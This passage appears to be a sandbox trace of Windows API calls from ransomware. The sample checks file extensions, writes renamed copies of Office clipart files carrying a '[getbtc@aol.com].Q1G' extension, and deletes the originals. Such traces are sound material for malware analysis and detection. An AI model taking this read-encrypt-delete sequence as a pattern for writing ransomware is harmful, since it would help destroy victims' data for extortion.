lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString=".docx") returned 5 [0265.614] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.614] lstrlenW (lpString=".pdf") returned 4 [0265.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString=".xls") returned 4 [0265.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.614] lstrlenW (lpString=".xlsx") returned 5 [0265.614] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.614] lstrlenW (lpString=".ppt") returned 4 [0265.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.614] lstrlenW (lpString=".zip") returned 4 [0265.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.614] lstrlenW (lpString=".rar") returned 4 [0265.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString=".bz2") returned 4 [0265.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString=".7z") returned 3 [0265.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.614] lstrlenW (lpString=".dbf") returned 4 [0265.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.614] lstrlenW (lpString=".1cd") returned 4 [0265.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.614] lstrlenW (lpString=".jpg") returned 4 [0265.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.614] lstrlenW (lpString=".doc") returned 4 [0265.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.614] lstrlenW (lpString=".docx") returned 5 [0265.614] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.614] lstrlenW (lpString=".pdf") returned 4 [0265.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.615] lstrlenW (lpString=".xls") returned 4 [0265.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.615] lstrlenW (lpString=".xlsx") returned 5 [0265.615] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.615] lstrlenW (lpString=".ppt") returned 4 [0265.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.615] lstrlenW (lpString=".zip") returned 4 [0265.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.615] lstrlenW (lpString=".rar") returned 4 [0265.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.615] lstrlenW (lpString=".bz2") returned 4 [0265.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.615] lstrlenW (lpString=".7z") returned 3 [0265.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.615] lstrlenW (lpString=".dbf") returned 4 [0265.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.615] lstrlenW (lpString=".1cd") returned 4 [0265.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.615] lstrlenW (lpString=".jpg") returned 4 [0265.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.615] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.615] lstrlenW (lpString="J0195788.WMF") returned 12 [0265.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.616] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3004) returned 1 [0265.616] CloseHandle (hObject=0x37c) returned 1 [0265.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 0x20 [0265.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.616] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.616] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.617] GetLastError () returned 0x0 [0265.617] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xbbc, lpOverlapped=0x0) returned 1 [0265.638] WriteFile (in: hFile=0x3e0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0265.640] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.640] WriteFile (in: hFile=0x3e0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.640] SetEndOfFile (hFile=0x3e0) returned 1 [0265.640] CloseHandle (hObject=0x3e0) returned 1 [0265.640] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.640] SetEndOfFile (hFile=0x37c) returned 1 [0265.724] CloseHandle (hObject=0x37c) returned 1 [0265.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0265.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.845] lstrlenW (lpString=".doc") returned 4 [0265.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.845] lstrlenW (lpString=".docx") returned 5 [0265.855] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.855] lstrlenW (lpString=".pdf") returned 4 [0265.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.855] lstrlenW (lpString=".xls") returned 4 [0265.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.855] lstrlenW (lpString=".xlsx") returned 5 [0265.855] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.855] lstrlenW (lpString=".ppt") returned 4 [0265.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.855] lstrlenW (lpString=".zip") returned 4 [0265.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.855] lstrlenW (lpString=".rar") returned 4 [0265.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.855] lstrlenW (lpString=".bz2") returned 4 [0265.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.855] lstrlenW (lpString=".7z") returned 3 [0265.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.855] lstrlenW (lpString=".dbf") returned 4 [0265.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.855] lstrlenW (lpString=".1cd") returned 4 [0265.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString=".jpg") returned 4 [0265.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString=".doc") returned 4 [0265.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString=".docx") returned 5 [0265.856] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.856] lstrlenW (lpString=".pdf") returned 4 [0265.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString=".xls") returned 4 [0265.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.856] lstrlenW (lpString=".xlsx") returned 5 [0265.856] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.856] lstrlenW (lpString=".ppt") returned 4 [0265.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString=".zip") returned 4 [0265.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.856] lstrlenW (lpString=".rar") returned 4 [0265.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString=".bz2") returned 4 [0265.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString=".7z") returned 3 [0265.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString=".dbf") returned 4 [0265.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString=".1cd") returned 4 [0265.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0265.856] lstrlenW (lpString=".jpg") returned 4 [0265.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.857] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.857] lstrlenW (lpString="J0198020.WMF") returned 12 [0265.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.857] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=23726) returned 1 [0265.857] CloseHandle (hObject=0x390) returned 1 [0265.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf")) returned 0x20 [0265.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.859] GetLastError () returned 0x0 [0265.859] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5cae, lpOverlapped=0x0) returned 1 [0265.878] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5cb0, lpOverlapped=0x0) returned 1 [0265.879] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.879] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.879] SetEndOfFile (hFile=0x1f8) returned 1 [0265.879] CloseHandle (hObject=0x1f8) returned 1 [0265.879] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.879] SetEndOfFile (hFile=0x390) returned 1 [0265.881] CloseHandle (hObject=0x390) returned 1 [0265.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf")) returned 1 [0265.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.882] lstrlenW (lpString=".doc") returned 4 [0265.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.882] lstrlenW (lpString=".docx") returned 5 [0265.882] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.882] lstrlenW (lpString=".pdf") returned 4 [0265.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.882] lstrlenW (lpString=".xls") returned 4 [0265.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.882] lstrlenW (lpString=".xlsx") returned 5 [0265.882] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.882] lstrlenW (lpString=".ppt") returned 4 [0265.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.882] lstrlenW (lpString=".zip") returned 4 [0265.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.882] lstrlenW (lpString=".rar") returned 4 [0265.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString=".bz2") returned 4 [0265.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString=".7z") returned 3 [0265.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.883] lstrlenW (lpString=".dbf") returned 4 [0265.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.883] lstrlenW (lpString=".1cd") returned 4 [0265.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.883] lstrlenW (lpString=".jpg") returned 4 [0265.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.883] lstrlenW (lpString=".doc") returned 4 [0265.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString=".docx") returned 5 [0265.883] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.883] lstrlenW (lpString=".pdf") returned 4 [0265.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString=".xls") returned 4 [0265.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.883] lstrlenW (lpString=".xlsx") returned 5 [0265.883] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.883] lstrlenW (lpString=".ppt") returned 4 [0265.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.883] lstrlenW (lpString=".zip") returned 4 [0265.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.883] lstrlenW (lpString=".rar") returned 4 [0265.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString=".bz2") returned 4 [0265.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.883] lstrlenW (lpString=".7z") returned 3 [0265.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.884] lstrlenW (lpString=".dbf") returned 4 [0265.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.884] lstrlenW (lpString=".1cd") returned 4 [0265.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0265.884] lstrlenW (lpString=".jpg") returned 4 [0265.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.884] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.884] lstrlenW (lpString="J0198022.WMF") returned 12 [0265.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.912] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=26148) returned 1 [0265.912] CloseHandle (hObject=0x360) returned 1 [0265.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf")) returned 0x20 [0265.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.912] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.913] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.913] GetLastError () returned 0x0 [0265.913] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x6624, lpOverlapped=0x0) returned 1 [0265.915] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x6630, lpOverlapped=0x0) returned 1 [0265.916] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.916] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.917] SetEndOfFile (hFile=0x1bc) returned 1 [0265.917] CloseHandle (hObject=0x1bc) returned 1 [0265.917] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.917] SetEndOfFile (hFile=0x360) returned 1 [0265.919] CloseHandle (hObject=0x360) returned 1 [0265.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf")) returned 1 [0265.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.920] lstrlenW (lpString=".doc") returned 4 [0265.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.920] lstrlenW (lpString=".docx") returned 5 [0265.920] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.920] lstrlenW (lpString=".pdf") returned 4 [0265.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.920] lstrlenW (lpString=".xls") returned 4 [0265.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.920] lstrlenW (lpString=".xlsx") returned 5 [0265.920] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.920] lstrlenW (lpString=".ppt") returned 4 [0265.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.920] lstrlenW (lpString=".zip") returned 4 [0265.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.920] lstrlenW (lpString=".rar") returned 4 [0265.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") 